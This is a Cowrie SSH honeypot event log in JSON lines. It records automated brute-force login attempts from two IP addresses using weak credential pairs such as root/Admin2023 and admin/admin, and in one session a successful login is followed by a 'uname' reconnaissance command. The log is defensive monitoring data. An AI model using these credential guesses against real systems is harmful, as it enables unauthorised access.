{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:31.888368Z","src_ip":"192.109.200.78","session":"676d57627b53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:32.130773Z","src_ip":"192.109.200.78","session":"676d57627b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5acd018249eb","protocol":"ssh","message":"New connection: 27.71.230.31:48676 (10.17.0.5:22) [session: 5acd018249eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:32.909419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:32.923922Z","src_ip":"27.71.230.31","session":"5acd018249eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:33.301873Z","src_ip":"27.71.230.31","session":"5acd018249eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:33.309574Z","src_ip":"192.109.200.78","session":"676d57627b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54954,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a3880b4a153","protocol":"ssh","message":"New connection: 192.109.200.78:54954 (10.17.0.5:22) [session: 7a3880b4a153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:35.017093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:35.019690Z","src_ip":"192.109.200.78","session":"7a3880b4a153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:35.100078Z","src_ip":"192.109.200.78","session":"7a3880b4a153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:35.370392Z","src_ip":"192.109.200.78","session":"7a3880b4a153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:36.455637Z","src_ip":"192.109.200.78","session":"7a3880b4a153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2023","message":"login attempt [root/Admin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:37.371117Z","src_ip":"27.71.230.31","session":"5acd018249eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54956,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f219677acf1","protocol":"ssh","message":"New connection: 192.109.200.78:54956 (10.17.0.5:22) [session: 8f219677acf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:38.480850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:38.485173Z","src_ip":"192.109.200.78","session":"8f219677acf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:38.566602Z","src_ip":"192.109.200.78","session":"8f219677acf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:38.811534Z","src_ip":"192.109.200.78","session":"8f219677acf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:39.524871Z","src_ip":"27.71.230.31","session":"5acd018249eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:39.894070Z","src_ip":"192.109.200.78","session":"8f219677acf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54972,"dst_ip":"10.17.0.5","dst_port":22,"session":"827ad9fdfa96","protocol":"ssh","message":"New connection: 192.109.200.78:54972 (10.17.0.5:22) [session: 827ad9fdfa96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:41.729428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:41.735936Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:41.816208Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:42.060764Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:42.248448Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:42.250501Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:42.333263Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:42.336813Z","src_ip":"192.109.200.78","session":"827ad9fdfa96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33386,"dst_ip":"10.17.0.5","dst_port":22,"session":"12571a295b27","protocol":"ssh","message":"New connection: 192.109.200.78:33386 (10.17.0.5:22) [session: 12571a295b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:44.951762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:44.955016Z","src_ip":"192.109.200.78","session":"12571a295b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:45.035410Z","src_ip":"192.109.200.78","session":"12571a295b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:45.419212Z","src_ip":"192.109.200.78","session":"12571a295b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:46.502809Z","src_ip":"192.109.200.78","session":"12571a295b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33394,"dst_ip":"10.17.0.5","dst_port":22,"session":"61edebf86dc4","protocol":"ssh","message":"New connection: 192.109.200.78:33394 (10.17.0.5:22) [session: 61edebf86dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:48.393691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:48.398007Z","src_ip":"192.109.200.78","session":"61edebf86dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:48.478680Z","src_ip":"192.109.200.78","session":"61edebf86dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:48.721686Z","src_ip":"192.109.200.78","session":"61edebf86dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:49.812088Z","src_ip":"192.109.200.78","session":"61edebf86dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33406,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fe03ef0de9","protocol":"ssh","message":"New connection: 192.109.200.78:33406 (10.17.0.5:22) [session: 99fe03ef0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:51.720712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:51.723976Z","src_ip":"192.109.200.78","session":"99fe03ef0de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:51.804701Z","src_ip":"192.109.200.78","session":"99fe03ef0de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:52.048910Z","src_ip":"192.109.200.78","session":"99fe03ef0de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:53.131711Z","src_ip":"192.109.200.78","session":"99fe03ef0de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37014,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec192a7c219","protocol":"ssh","message":"New connection: 192.109.200.78:37014 (10.17.0.5:22) [session: 0ec192a7c219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:55.102914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:55.106396Z","src_ip":"192.109.200.78","session":"0ec192a7c219","protocol":"ssh"}
